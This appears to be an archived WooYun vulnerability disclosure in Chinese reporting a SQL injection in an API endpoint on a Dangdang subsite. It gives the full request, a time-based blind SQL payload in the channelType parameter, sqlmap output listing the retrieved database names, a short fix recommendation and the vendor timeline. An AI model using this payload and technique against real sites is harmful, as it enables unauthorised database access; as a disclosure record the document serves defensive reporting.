当当网分站存在SQL注入

编号199964
Urlhttp://www.wooyun.org/bug.php?action=view&id=199964
漏洞状态厂商已经确认
漏洞标题当当网分站存在SQL注入
漏洞类型SQL注射漏洞
厂商当当网
白帽子Vinc
提交日期2016-04-25 09:38:00
公开日期2016-06-09 11:50:00
修复时间(not set)
确认时间2016-04-25 00:00:00
Confirm Spend0
漏洞标签sql注入
关注数0
收藏数0
白帽评级
白帽自评rank15
厂商评级
厂商评rank10
漏洞简介
- = !
漏洞细节

GET包如下:

GET /media/api.go?action=mediaRankingList&listType=sale&channelType=*&permanentId=20151109120332208112113523718686951&returnType=json&channelId=70000&clientVersionNo=5.0.0&deviceType=DDDS_ALL&start=0&end=19 HTTP/1.1
Accept: */*
Referer: http://e.dangdang.com/rank_detail_page.html
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Cookie: __permanent_id=20160423211433821241934195768855298; ddscreen=1; MDD_channelId=70000; MDD_fromPlatform=307; dest_area=country_id%3D9000%26province_id%3D173%26city_id%20%3D0%26district_id%3D0%26town_id%3D0
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN,en,*
Host: e.dangdang.com
Pragma: no-cache
Cache-Control: no-cache


参数:channelType

POC

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: http://e.dangdang.com:80/media/api.go?action=mediaRankingList&list
ype=sale&channelType=' AND (SELECT * FROM (SELECT(SLEEP(5)))HUfh) AND 'aSqF'='a
qF&permanentId=20151109120332208112113523718686951&returnType=json&channelId=70
00&clientVersionNo=5.0.0&deviceType=DDDS_ALL&start=0&end=19
---
[09:45:07] [INFO] testing MySQL
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n]
[09:45:14] [INFO] confirming MySQL
[09:45:14] [WARNING] it is very important not to stress the network adapter dur
ng usage of time-based payloads to prevent potential errors
[09:45:26] [INFO] adjusting time delay to 1 second due to good response times
[09:45:26] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[09:45:26] [INFO] fetching database names
[09:45:26] [INFO] fetching number of databases
[09:45:26] [INFO] retrieved: 6
[09:45:30] [INFO] retrieved: inf
[09:45:50] [ERROR] invalid character detected. retrying..
[09:45:50] [WARNING] increasing time delay to 2 seconds
ormation_schem
[09:47:59] [ERROR] invalid character detected. retrying..
[09:47:59] [WARNING] increasing time delay to 3 seconds
a
[09:48:05] [INFO] retrieved: digital
[09:49:55] [INFO] retrieved: digita
[09:51:46] [ERROR] invalid character detected. retrying..
[09:51:46] [WARNING] increasing time delay to 4 seconds
l_
[09:53:13] [ERROR] invalid character detected. retrying..
[09:53:13] [WARNING] increasing time delay to 5 seconds
search
[09:55:21] [INFO] retrieved: dpp
[09:57:30] [ERROR] invalid character detected. retrying..
[09:57:30] [WARNING] increasing time delay to 6 seconds
_datebase
[10:00:39] [INFO] retrieved: short_link
[10:05:14] [INFO] retrieved: test
available databases [6]:
[*] digital
[*] digital_search
[*] dpp_datebase
[*] information_schema
[*] short_link
[*] test

修复方案

预编译吧

状态信息 2016-04-25: 细节已通知厂商并且等待厂商处理中
2016-04-25: 厂商已经确认,细节仅向厂商公开
2016-05-05: 细节向核心白帽子及相关领域专家公开
2016-05-15: 细节向普通白帽子公开
2016-05-25: 细节向实习白帽子公开
2016-06-09: 细节向公众公开
厂商回复感谢对当当安全的支持
回应信息危害等级:中漏洞Rank:10 确认时间:2016-04-25 11:49